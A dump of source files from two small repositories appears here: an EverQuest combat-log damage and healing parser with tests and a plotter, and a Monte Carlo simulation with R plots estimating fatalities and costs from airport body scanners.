log_message.find(' for ')\n verb_match = re.search('((has|have) healed)', log_message)\n participant = get_participant(log_message, verb_match.start())\n target = log_message[verb_match.end() + 1:for_pos]\n return Contribution(participant, target, 0, amount)\n\ndef get_damage_contribution(log_message, amount, verb_match):\n '''Get participant damage contribution'''\n for_pos = log_message.find(' for ')\n participant = get_participant(log_message, verb_match.start())\n target = log_message[verb_match.end() + 1:for_pos]\n return Contribution(participant, target, amount, 0)\n\ndef is_healing_log(log_message):\n '''Returns true if log message is a healing event'''\n verb_match = re.search('((has|have) healed)', log_message)\n return verb_match is not None\n\n\ndef get_contribution(combat_log):\n '''Converts raw combat log into a more usable Contribution object'''\n # Split timestamp from the rest of the log message\n log_message = combat_log.split('] ')[1]\n amount = int(((log_message.split(' for ')[1]).split(' '))[0])\n # Locate the attack verb to use in figuring out the participant and target\n verb_match = re.search('(was )?(bite[s]?|bash[es]?|strike[s]?|slash[es]?|punch[es]?|hit[s]?'\n '|pierce[s]?|crush[es]?|gore[s]?|kick[s]?|slap[s]?|claw[s]?|maul[s]?'\n '|shoot[s]?|sting[s]?)',\n log_message)\n if is_damage_shield_message(log_message):\n return get_damage_shield_contribution(log_message, verb_match.start(), amount)\n if is_healing_log(log_message):\n return get_healing_contribution(log_message, amount) \n return get_damage_contribution(log_message, amount, verb_match)\n\ndef update_fight_contribution(contribution_aggregates, combat_log):\n '''Updates a participant's fight contribution based on combat log'''\n try:\n contribution = get_contribution(combat_log)\n logging.debug(\"Created contribution for actor %s\", contribution.participant)\n if contribution.participant in contribution_aggregates.keys():\n contribution_aggregate = contribution_aggregates[contribution.participant]\n else:\n contribution_aggregate = ContributionAggregate(contribution.participant)\n contribution_aggregate.damage_dealt += contribution.damage_dealt\n contribution_aggregate.healing_dealt += contribution.healing_dealt\n contribution_aggregates[contribution.participant] = contribution_aggregate\n except KeyError:\n logging.exception('Failed to get combat event for log: %s \\n ', combat_log)\n\n\ndef process_combat_logs(logs, fight_reports):\n '''Given new combat logs, create fight reports'''\n if len(fight_reports) > 0:\n current_fight_report = fight_reports.pop()\n else:\n current_fight_report = FightReport()\n for combat_log in logs:\n if is_new_fight(combat_log):\n if not current_fight_report.is_complete:\n current_fight_report.is_complete = True\n else:\n current_fight_report = FightReport()\n fight_reports.append(current_fight_report)\n elif is_fight_complete(combat_log):\n current_fight_report.is_complete = True\n else:\n update_fight_contribution(current_fight_report.contribution_aggregates, combat_log)\n fight_reports.append(current_fight_report)\n\n\ndef filter_combat_logs(logs):\n '''Filter out logs other than combat logs'''\n return list(filter(is_combat_log, logs))\n\n\ndef get_log_file_path():\n '''Gets the EQ log file path from configuration file'''\n config = configparser.ConfigParser()\n config.read('./config.ini')\n return config['DEFAULT']['COMBAT_LOG_PATH']\n\nif __name__ == '__main__':\n path = get_log_file_path()\n logging.info(\"Starting parser.\")\n fights_reports = []\n log_puller = LogPuller(path)\n MAX_FIGHTS_TO_RETAIN = 1\n while True:\n new_logs = log_puller.pull_new_logs()\n combat_logs = filter_combat_logs(new_logs)\n process_combat_logs(combat_logs, fights_reports)\n while len(fights_reports) > MAX_FIGHTS_TO_RETAIN:\n fights_reports.pop(0)\n for fight_report in fights_reports:\n logging.debug('Found %s total fights', len(fights_reports))\n logging.debug('Found fight report %s', fight_report.contribution_aggregates)\n visualize.plot(fights_reports[0])\n time.sleep(4)\n"
},
{
"alpha_fraction": 0.6739961504936218,
"alphanum_fraction": 0.6964626908302307,
"avg_line_length": 44.4782600402832,
"blob_id": "de26e4050c431a809f9fec06e40dde9468247b14",
"content_id": "945451fd6971001181cdd8902e282d39e162e5d1",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2092,
"license_type": "permissive",
"max_line_length": 111,
"num_lines": 46,
"path": "/test_eq_deeps_parser.py",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "'''Tests for eq_deeps_parser.py'''\n\nimport unittest\nimport eq_deeps_parser\n\n\nclass TestEqDeepsParser(unittest.TestCase):\n '''Tests for eq_deeps_parser.py'''\n def test_get_contribution_from_melee_dmg_log(self):\n '''Get a contribution when combat log is a damage dealt event'''\n log = '[Tue Jul 21 05:12:05 2020] You kick Sssszzz the Stone for 1 point of damage.'\n\n actual = eq_deeps_parser.get_contribution(log)\n expected = eq_deeps_parser.Contribution('You', 'Sssszzz the Stone', 1, 0)\n\n self.assertEqual(expected.participant, actual.participant)\n self.assertEqual(expected.target, actual.target)\n self.assertEqual(expected.damage_dealt, actual.damage_dealt)\n self.assertEqual(expected.healing_dealt, actual.healing_dealt)\n\n def test_get_contribution_from_healing_log(self):\n '''Get contribution when combat log is healing event'''\n log = '[Tue Jul 21 05:12:05 2020] Wocas has healed you for 15 points of damage.'\n\n actual = eq_deeps_parser.get_contribution(log)\n expected = eq_deeps_parser.Contribution('Wocas', 'you', 0, 15)\n\n self.assertEqual(expected.participant, actual.participant)\n self.assertEqual(expected.target, actual.target)\n self.assertEqual(expected.damage_dealt, actual.damage_dealt)\n self.assertEqual(expected.healing_dealt, actual.healing_dealt)\n\n def test_get_contribution_damage_shield_log(self):\n '''In different logs participant capitalization is different'''\n log = '[Fri Jul 24 19:32:04 2020] a belligerent beach bum was hit by non-melee for 7 points of damage.'\n\n actual = eq_deeps_parser.get_contribution(log)\n expected = eq_deeps_parser.Contribution('Damage Shield', 'a belligerent beach bum', 7, 0)\n\n self.assertEqual(expected.participant, actual.participant)\n self.assertEqual(expected.target, actual.target)\n self.assertEqual(expected.damage_dealt, actual.damage_dealt)\n self.assertEqual(expected.healing_dealt, actual.healing_dealt)\n\nif __name__ == '__main__':\n unittest.main()\n"
},
{
"alpha_fraction": 0.5161290168762207,
"alphanum_fraction": 0.7096773982048035,
"avg_line_length": 15,
"blob_id": "6c3b3ad5fbddb3e5580720d70186457805677f78",
"content_id": "5db8940f27e47ae83d4f62f86b302f369e072e3c",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 31,
"license_type": "permissive",
"max_line_length": 17,
"num_lines": 2,
"path": "/requirements.txt",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "pandas~=1.0.5\nmatplotlib~=3.3.0"
},
{
"alpha_fraction": 0.6475507616996765,
"alphanum_fraction": 0.6487455368041992,
"avg_line_length": 35.39130401611328,
"blob_id": "41a205d429829d85d8308ec5f1314f228d5adc5b",
"content_id": "f2e3f54a0f601b6fa2527bdfa8ce1b1a58f4878a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 837,
"license_type": "permissive",
"max_line_length": 83,
"num_lines": 23,
"path": "/visualize.py",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "'''Creates visualizations of fight reports'''\n\nimport logging\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef plot(fight_report):\n '''Plots fight report on a horizontal bar graph'''\n if len(fight_report.contribution_aggregates.keys()) > 0:\n data = []\n index = []\n for participant in fight_report.contribution_aggregates.keys():\n performance = fight_report.contribution_aggregates[participant]\n data.append([performance.damage_dealt, performance.healing_dealt])\n index.append(participant)\n data_frame = pd.DataFrame(data, columns=['Damage', 'Healing'], index=index)\n data_frame = data_frame.sort_values(by=['Damage'])\n axes = data_frame.plot.barh()\n axes.set_xlabel('')\n plt.show()\n else:\n logging.debug('Nothing to plot')\n"
},
{
"alpha_fraction": 0.5817610025405884,
"alphanum_fraction": 0.5864779949188232,
"avg_line_length": 30.799999237060547,
"blob_id": "3e67aa73afbc32df9205a05e7d1e5132ae7e40f4",
"content_id": "a31bcc7127b0f255b83fed60fc45dbfccd0e1f7f",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1272,
"license_type": "permissive",
"max_line_length": 117,
"num_lines": 40,
"path": "/log_puller.py",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "import csv\nimport logging\n\n\"\"\"\nThis class pulls logs from a log file. It is given a file path and starts reading from the end of the log file.\n\"\"\"\n\n\ndef get_starting_line(path):\n with open(path) as log_file:\n csv_reader = csv.reader(log_file)\n log_lines = 0\n for row in csv_reader:\n log_lines = log_lines + 1\n logging.debug(\"Starting on line %s\", log_lines)\n return log_lines\n\n\nclass LogPuller:\n def __init__(self, path):\n self.path = path\n self.last_processed_log_line = get_starting_line(path)\n\n \"\"\"\n Returns the log file line on which to start parsing. We only want to process new events that come in, so we will\n just point our process to the last line in the log file to begin with.\n \"\"\"\n\n def pull_new_logs(self):\n logs = []\n with open(self.path) as log_file:\n csv_reader = csv.reader(log_file)\n current_log_line = 0\n for row in csv_reader:\n current_log_line = current_log_line + 1\n if len(row) > 0 and self.last_processed_log_line < current_log_line:\n self.last_processed_log_line = current_log_line\n log = row[0]\n logs.append(log)\n return logs\n"
},
{
"alpha_fraction": 0.7362637519836426,
"alphanum_fraction": 0.7692307829856873,
"avg_line_length": 45,
"blob_id": "7c98bde2cc1d20bb03cb25308fde6ad2e04621cf",
"content_id": "ff7205ea5b363ec035ad708fc1a1860e34315da8",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "INI",
"length_bytes": 91,
"license_type": "permissive",
"max_line_length": 81,
"num_lines": 2,
"path": "/config.ini",
"repo_name": "aclifford3/eq-deeps-parser",
"src_encoding": "UTF-8",
"text": "[DEFAULT]\nCOMBAT_LOG_PATH = C:\\Program Files (x86)\\Everquest F2P\\Logs\\eqlog_Ghasana_sod.txt"
}
] | 7 |
pridkett/TSASimulation | https://github.com/pridkett/TSASimulation | 8749be1eb6ef597fdd0f71eb44a2411138deacbd | 92bd004a2d21430337ad622f02f6711c1ea000fa | f8cf56901807f737f6f640d5f0409044a274ca5e | refs/heads/master | 2020-05-18T02:38:17.904496 | 2010-11-29T03:36:10 | 2010-11-29T03:36:10 | 1,110,016 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6377428770065308,
"alphanum_fraction": 0.641868531703949,
"avg_line_length": 36.01477813720703,
"blob_id": "ffb531f133e3dac30523431982ba9b10cd354d1b",
"content_id": "d285e6387ae329fcb49f3869b3565e1dad0b17b3",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7514,
"license_type": "permissive",
"max_line_length": 133,
"num_lines": 203,
"path": "/stochasticsim.py",
"repo_name": "pridkett/TSASimulation",
"src_encoding": "UTF-8",
"text": "\"\"\"\nCopyright (c) 2010 Patrick Wagstrom\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\nimport random\nimport re\nimport equationparser\nimport csv\n\n# Simulation Constants\nNUM_SIMULATIONS=10000\nSPLIT_CHARACTERS = '[ +-/*\\(\\)]'\nNUMERIC_RE = r\"[0-9]+(\\.[0-9]+)?\"\n\n# Base Classes for Simulation\nclass Simulation(object):\n def __init__(self):\n self.variables = {}\n self.period = 0\n self.iteration = 0\n\n def add_variable(self, varname, variable):\n self.variables[varname] = variable\n variable.simulation = self\n\n def get_variable(self, variable, iteration=None, period=None):\n return self.variables[variable].calculated_values[iteration]\n\n def run(self):\n # rest of this is simulation stuff, you shouldn't need to modify much here\n random.seed()\n\n # need to insert some sort of reachability check on the elements here\n while False in [x.calculated for x in self.variables.itervalues()]:\n calculated_variables = []\n for key, val in self.variables.iteritems():\n if val.calculated == False:\n print \"Calculating: %s\" % (key)\n calculated_variables.append(val.calc())\n if not(calculated_variables) or True not in calculated_variables:\n raise Exception(\"Stalemate!\")\n\n def save_output(self, outfile):\n print \"Dumping data to %s\" % (outfile)\n f = open(outfile, \"wb\")\n csvwriter = csv.writer(f, delimiter=\" \")\n rvkeys = self.variables.keys()\n csvwriter.writerow(self.variables.keys())\n for x in xrange(NUM_SIMULATIONS):\n thisrow = [self.variables[y].calculated_values[x] for y in rvkeys]\n csvwriter.writerow(thisrow)\n f.close()\n\nclass SimpleValue(object):\n def __init__(self, name, units, comments=None):\n object.__init__(self)\n self.name = name\n self.units = units\n self.comments = comments\n self.calculated_values = []\n self.calculated = False\n\n def calc(self):\n raise Exception(\"no calc function defined\")\n\nclass RandomValue(SimpleValue):\n def __init__(self, name, units, gen, comments=None):\n SimpleValue.__init__(self, name, units, comments)\n self.gen = gen\n\n def calc(self, iterations=NUM_SIMULATIONS):\n self.calculated = True\n self.calculated_values = [self.gen.get() for x in xrange(NUM_SIMULATIONS)]\n\nclass RandomNumber(object):\n def __init__(self):\n object.__init__(self)\n\n def get(self):\n raise Exception(\"no get function defined\")\n\nclass RandomNormal(RandomNumber):\n def __init__(self, mean, stdev):\n RandomNumber.__init__(self)\n self.mean = mean\n self.stdev = stdev\n\n def get(self):\n return random.normalvariate(self.mean, self.stdev)\n\nclass RandomTriangular(RandomNumber):\n \"\"\"\n Triangular distributions require python 2.6. Unfortunately, most\n macs only have python 2.5. Be cautious when using.\n \"\"\"\n def __init__(self, low, med, high):\n RandomNumber.__init__(self)\n self.low = low\n self.med = med\n self.high = high\n\n def get(self):\n return random.triangular(self.low, self.med, self.high)\n\nclass RandomUniform(RandomNumber):\n def __init__(self, low, high):\n RandomNumber.__init__(self)\n self.low = low\n self.high = high\n\n def get(self):\n return random.uniform(self.low, self.high)\n\nclass RandomFixed(RandomNumber):\n def __init__(self, val):\n object.__init__(self)\n self.val = val\n\n def get(self):\n return self.val\n\nclass RandomTabular(RandomNumber):\n \"\"\"\n Represents a random value that is based on a tabular outcome. This is\n most useful for situations where there are dramatic outcomes relative\n to rare chance. For example, periodic terrorist attacks.\n \"\"\"\n # FIXME: I believe that Python may have a random routine built in that\n # could address this sort of random number generation\n def __init__(self, table):\n \"\"\"\n @param table: a set of tuples of either (chance, value) or (chance, RandomNumber)\n \"\"\"\n self.table = table\n\n totalChance = sum([x[0] for x in self.table])\n if totalChance > 1:\n raise Exception(\"Total chance of events is greater than 1.\")\n\n # create the lookup table for the random number generator\n self.sumchances = []\n for val in self.table:\n if len(self.sumchances) == 0:\n self.sumchances.append(val[0])\n else:\n self.sumchances.append(val[0] + self.sumchances[-1])\n\n # FIXME: this is probably overly complex \n def get(self):\n thisval = random.random()\n for key, val in enumerate(self.sumchances):\n if thisval < val:\n if isinstance(self.table[key][1], RandomNumber):\n return self.table[key][1].get()\n return self.table[key][1]\n return 0.0\n\nclass CalculatedValue(SimpleValue):\n def __init__(self, name, units, equation, comments=None):\n SimpleValue.__init__(self, name, units, comments)\n self.equation = equation\n # print \"Equation: \", self.equation\n self.parsed_equation = equationparser.parseEquation(self.equation)\n # print \"Parsed: \", self.parsed_equation\n # this is a clear hack...\n self.variables = equationparser.getVariables(self.parsed_equation)\n self.calculated = False\n # print \"Variables: \", self.variables\n\n def calc(self):\n \"\"\"\n This is horribly inefficient for calculation right now as it generates\n and reparses an equation for each calculation. I just don't want to\n write a better calculator right now.\n \"\"\"\n if False not in [self.simulation.variables[x].calculated for x in self.variables]:\n # print \"Variables and Status: \", self.variables, [self.simulation.variables[x].calculated for x in self.variables]\n for iter in xrange(NUM_SIMULATIONS):\n # print \"Round %d!\" % (iter)\n # print \"Eqn: %s\" % (self.parsed_equation)\n self.calculated_values.append(equationparser.evaluateEquation(self.parsed_equation, iter, self.simulation.variables))\n # self.calculated_values.append(equationparser.evaluateStack(self.parsed_equation, iter, self.simulation.variables))\n self.calculated = True\n return True\n else:\n return False\n"
},
{
"alpha_fraction": 0.5029535293579102,
"alphanum_fraction": 0.5234140753746033,
"avg_line_length": 68.5297622680664,
"blob_id": "bd093a48daae1dd6abf95e5b4581c7528dbec64a",
"content_id": "da1bfdcbac97dc56b0efd2bd04b804829d2191a8",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11681,
"license_type": "permissive",
"max_line_length": 214,
"num_lines": 168,
"path": "/tsa.py",
"repo_name": "pridkett/TSASimulation",
"src_encoding": "UTF-8",
"text": "\"\"\"\nCopyright (c) 2010 Patrick Wagstrom\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\nfrom stochasticsim import RandomValue, RandomFixed, RandomNormal, RandomUniform, RandomTriangular, CalculatedValue, NUM_SIMULATIONS, Simulation\n\n# container for the calculated and random values\ncvs = {}\nrvs = {}\n\n# Assumptions -- Feel free to tinker with these\nrvs[\"value_human_life\"] = RandomValue(\"Value of a Human Life\",\n \"Dollars\",\n RandomFixed(6900000),\n \"Source: EPA 2008\")\n\nrvs[\"risk_vpi\"] = RandomValue(\"Risk of Dying from a Violent Passenger Incident\",\n \"Percentage\",\n RandomNormal(22.0/1000000000.0, 3.0/1000000000.0),\n \"\"\"Source: http://www.schneier.com/blog/archives/2010/01/nate_silver_on.html.\n Uncertainty added by me\"\"\")\n\nrvs[\"risk_nvpi\"] = RandomValue(\"Risk of Dying from a Non-Violent Passenger Incident\",\n \"Percentage\",\n RandomUniform(1.0/1000000.0, 1.0/10000000.0),\n \"\"\"Source: http://www.cotf.edu/ete/modules/volcanoes/vrisk.html\"\"\")\n\nrvs[\"passenger_enplanements\"] = RandomValue(\"Number of Passengers On Commercial Flights Each Year in the US\",\n \"Persons/Year\",\n RandomNormal(621000000, 10000000),\n \"\"\"Source: http://www.transtats.bts.gov/ (Domestic Only)\"\"\")\n\nrvs[\"flight_distance\"] = RandomValue(\"Average Distance of a Flight that Someone Might Be Willing to Drive\",\n \"Miles\",\n RandomFixed(500),\n \"\"\"Source: my own estimate\"\"\")\n\nrvs[\"percentage_passengers_driving\"] = RandomValue(\"Fraction of Passengers Choosing to Drive Rather Than Fly\",\n \"Percentage\",\n RandomUniform(0.005, 0.05),\n \"\"\"Source: my own estimate\"\"\")\n\nrvs[\"fatalities_mile\"] = RandomValue(\"Fatalities Per Mile Driven in the United States\",\n \"Persons\",\n RandomNormal(1.13/100000000.0, 0.1/100000000.0),\n \"\"\"Source: http://www-fars.nhtsa.dot.gov/Main/index.aspx\"\"\")\n\nrvs[\"ait_success_rate\"] = RandomValue(\"Success rate of AIT scanners at preventing terrorist attacks\",\n \"Percentage\",\n RandomUniform(0.50, 0.80),\n \"\"\"Source: my own estimate (WAG)\"\"\")\n\nrvs[\"ait_scanner_cost\"] = RandomValue(\"Cost of Installing an AIT Scanner\",\n \"Dollars\",\n RandomUniform(70000,200000),\n \"\"\"Source: http://www.csmonitor.com/Business/2010/1119/TSA-body-scanners-safety-upgrade-or-stimulus-boondoggle\"\"\")\n\nrvs[\"percentage_ait_screening\"] = RandomValue(\"Percentage of passengers experiencing AIT screening\",\n \"Percentage\",\n # RandomTriangular(0.17, 0.25, 0.40),\n RandomUniform(0.17, 0.40), # I'd like to use the triangular, but Python 2.5 on my mac doesn't support it\n \"\"\"Source: http://boardingarea.com/blogs/flyingwithfish/2010/11/23/will-you-encounter-a-tsa-whole-body-scanner-statistically-no/\n\n This source looks strictly at the number of security lanes, not\n the proportion of passengers those lanes handle. As most of\n the airports in the largest metropolitan areas already have the\n scanners, I take his 17% as a lower bound.\"\"\")\n\nrvs[\"percentage_ait_devices_backscatter\"] = RandomValue(\"Percentage of AIT devices that utilize backscatter x-ray technology\",\n \"Percentage\",\n # RandomTriangular(0.3, 0.5, 0.75),\n RandomUniform(0.3, 0.75), # see above comment about Mac python version\n \"\"\"Source: http://www.flyertalk.com/forum/travel-safety-security/1138014-complete-list-airports-whole-body-imaging-advanced-imaging-technology-scanner.html\n\n This list frequently updates and sometimes MMWD may be identified as backscatter.\"\"\")\n\nrvs[\"passenger_exposure_per_screening\"] = RandomValue(\"Passenger Exposure per Screening\",\n \"micro Sv/screening\",\n RandomUniform(0.20,0.80),\n \"\"\"Source: http://www.public.asu.edu/~atppr/RPD-Final-Form.pdf\n Mandated max is 0.25uSv/screening, however Peter Rez claims up to 0.80uSv/screening in this paper\"\"\")\n\nrvs[\"risk_cancer_per_micro_sv\"] = RandomValue(\"Risk of Fatal Cancer per Micro Sv of Exposure\",\n \"Percentage/micro Sv\",\n RandomNormal(1.0/12500000, 1.0/125000000),\n \"\"\"Source: http://www.slideshare.net/fovak/health-effects-of-radiation-exposure-presentation (slide 76)\n other documents also indicate that there is no safe level of exposure for fatal cancers\n and that they seem to follow a mostly linear response.\n\n uncertainty added by me\n\n FWIW, 1 hour of flying is about 0.01mSv\"\"\")\n\n# put your equations here\n\ncvs[\"number_passengers_driving\"] = CalculatedValue(\"Number of passengers who actually choose to drive\",\n \"Persons/Year\",\n \"passenger_enplanements * percentage_passengers_driving\")\ncvs[\"number_new_driving_fatalities\"] = CalculatedValue(\"Number of additional fatalities from new drivers\",\n \"Persons/Year\",\n \"number_passengers_driving * flight_distance * 2 * fatalities_mile\",\n \"Flight distance multipled by two because people need to drive home\")\ncvs[\"cost_new_driving_fatalities\"] = CalculatedValue(\"Expected code of a new driving fatalities in a year\",\n \"Dollars/Year\",\n \"number_new_driving_fatalities * value_human_life\")\n\ncvs[\"expected_nvpi_fatalities\"] = CalculatedValue(\"Expected number of fatalities from Non-Violent Passenger Incidences in a Year\",\n \"Persons/Year\",\n \"risk_nvpi * passenger_enplanements\")\ncvs[\"cost_nvpi_fatalities\"] = CalculatedValue(\"Expected cost of NVPI in a year\",\n \"Dollars/Year\",\n \"expected_nvpi_fatalities * value_human_life\")\n\ncvs[\"expected_vpi_fatalities\"] = CalculatedValue(\"Expected number of fatalities from Violent Passenger Incidents in a year\",\n \"Persons\",\n \"risk_vpi * passenger_enplanements\")\ncvs[\"cost_vpi_fatalities\"] = CalculatedValue(\"Expected cost of a VPI in a year\",\n \"Dollars/Year\",\n \"expected_vpi_fatalities * value_human_life\")\n\ncvs[\"expected_cancer_fatalities\"] = CalculatedValue(\"Expected number of fatal cancers caused by scanning in a year\",\n \"Persons/Year\",\n \"passenger_enplanements * passenger_exposure_per_screening * percentage_ait_screening * percentage_ait_devices_backscatter * risk_cancer_per_micro_sv\",\n \"\"\"In this case only a small percentage of individuals are actually\n exposed to x-ray radiation through backscatter devices. First\n they need to be exposed to AIT, then they need to be exposed\n backscatter\"\"\")\n\ncvs[\"expected_ait_vpi_fatalities\"] = CalculatedValue(\"Expected number of fatalities from Violent Passenger Incidences in a year with AIT\",\n \"Persons/Year\",\n \"risk_vpi * ( 1 - ait_success_rate ) * passenger_enplanements * percentage_ait_screening + risk_vpi * passenger_enplanements * ( 1 - percentage_ait_screening )\",\n \"\"\"The official line is that for those airports without AIT screening,\n nothing has changed. I can confirm this based on my experiences at\n HPN, LGA, and MSP (lanes without security) as of November 2010.\"\"\")\n\ncvs[\"increase_ait_fatalities\"] = CalculatedValue(\"Increase in fatalities as a result of AIT\",\n \"Persons/Year\",\n \"number_new_driving_fatalities + expected_cancer_fatalities - (expected_vpi_fatalities - expected_ait_vpi_fatalities)\",\n \"\"\"As of right now this does not take into account the decrease in cancer from passengers\n choosing not to fly or opting out.\"\"\")\n\ncvs[\"net_cost_ait\"] = CalculatedValue(\"Net cost of AIT devices\",\n \"Dollars/Year\",\n \"increase_ait_fatalities * value_human_life\")\n\n\nsim = Simulation()\n[sim.add_variable(key, val) for key, val in cvs.iteritems()]\n[sim.add_variable(key, val) for key, val in rvs.iteritems()]\nsim.run()\nsim.save_output(\"sim2.csv\")\n"
},
{
"alpha_fraction": 0.6124586462974548,
"alphanum_fraction": 0.6819183826446533,
"avg_line_length": 54.81538391113281,
"blob_id": "d9c17f8962bbe504b6394e23e0666681219cd871",
"content_id": "b82b5365b9a800b0031f8914fb907a258b7286c6",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "R",
"length_bytes": 3628,
"license_type": "permissive",
"max_line_length": 196,
"num_lines": 65,
"path": "/stats.R",
"repo_name": "pridkett/TSASimulation",
"src_encoding": "UTF-8",
"text": "df <- read.table(\"sim.csv\", header=TRUE)\n\n# fix something strangely wrong with my simulation\ndf$risk_cancer_per_micro_sv <- rnorm(10000, mean=1/12500000, sd=1/1250000000)\ndf$expected_cancer_fatalities <- df$passenger_enplanements * df$passenger_exposure_per_screening * df$percentage_ait_screening * df$risk_cancer_per_micro_sv * df$percentage_ait_devices_backscatter\ndf$increase_ait_fatalities <- df$number_new_driving_fatalities + df$expected_cancer_fatalities - (df$expected_vpi_fatalities - df$expected_ait_vpi_fatalities)\n\npar(mar=par(\"mar\")-0.1)\n\ncumHist <- function(indata, filename, ylab=\"Cumulative Probability\", \n subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.1f, %1.1f, %1.1f, %1.1f, %1.1f) fatalities\", ...) {\n png(filename=filename, pointsize=9, width=400, height=400)\n\th <- hist(indata, breaks=50, plot=FALSE)\n\th$counts <- cumsum(h$counts)\n\th$counts <- h$counts/max(h$counts)\n\th$density <- cumsum(h$density)\n\th$intensities <- h$density\n\n\tmidvalue10 <- quantile(indata, probs=0.1)\n\tmidvalue25 <- quantile(indata, probs=0.25)\n\tmidvalue50 <- quantile(indata, probs=0.5)\n\tmidvalue75 <- quantile(indata, probs=0.75)\n\tmidvalue90 <- quantile(indata, probs=0.9)\n\tprint (midvalue10)\n\tprint (midvalue25)\n\tprint (midvalue50)\n\tprint (midvalue75)\n\tprint (midvalue90)\n\t# print(midvalue10, midvalue25, midvalue50, midvalue75, midvalue90)\n\tplot(h, freq=TRUE,\n \t col=\"navajowhite2\", border=\"turquoise3\",\n ylab=ylab, ...)\n box()\n if (!is.na(subtext)) {\n \ttitle(sub=sprintf(subtext,\n \t \t midvalue10, midvalue25, midvalue50, midvalue75, midvalue90))\n \t}\n\n\t# draw to the other indicator lines\n\tfor (x in c(0.1, 0.25, 0.5, 0.75, 0.9)) {\n\t\tquantpoint <- quantile(indata, probs=x)\n\t\tlines(x=c(0, quantpoint, quantpoint), y=c(x, x, -2), lty=2, lwd=1, col=\"#777777\")\n\t}\n\t\n \tdev.off()\n \treturn(h)\n}\n\nh <- cumHist(df$expected_vpi_fatalities, filename=\"expected_vpi_fatalities.png\", main=\"Current Expected Annual Number of VPI Related Fatalities\",\n xlab=\"Number of Fatalities\", subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.1f, %1.1f, %1.1f, %1.1f, %1.1f) fatalities\")\n \nh <- cumHist(df$expected_ait_vpi_fatalities, filename=\"expected_ait_vpi_fatalities.png\", main=\"Expected Annual Number of VPI Related Fatalities with AIT\",\n xlab=\"Number of Fatalities\", subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.1f, %1.1f, %1.1f, %1.1f, %1.1f) fatalities\")\n \nh <- cumHist(df$increase_ait_fatalities, filename=\"expected_ait_fatality_increase.png\", main=\"Cumulative histogram of fatality INCREASE from AIT scanning\",\n xlab=\"Number of new fatalities\", subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.1f, %1.1f, %1.1f, %1.1f, %1.1f) fatalities\")\n\nh <- cumHist(df$expected_cancer_fatalities, filename=\"expected_cancer_ait_fatalities.png\", main=\"Cumulative histogram of yearly cancer fatalities from AIT scanning\",\n xlab=\"Number of new cancer fatalities\", subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.1f, %1.1f, %1.1f, %1.1f, %1.1f) fatalities\")\n\nh <- cumHist(df$number_passengers_driving, filename=\"expected_passengers_driving.png\", main=\"Cumulative histogram of yearly passengers choosing to drive\",\n xlab=\"Number of passengers chosing to drive\", subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.0f, %1.0f, %1.0f, %1.0f, %1.0f) passengers\")\n\nh <- cumHist(df$number_new_driving_fatalities, filename=\"expected_driving_fatalities.png\", main=\"Cumulative histogram of new driving fatalities\",\n xlab=\"Driving Fatalities\", subtext=\"(10, 25, 50, 75, 90) percentiles = (%1.1f, %1.1f, %1.1f, %1.1f, %1.1f) fatalities\")\n"
}
] | 3 |
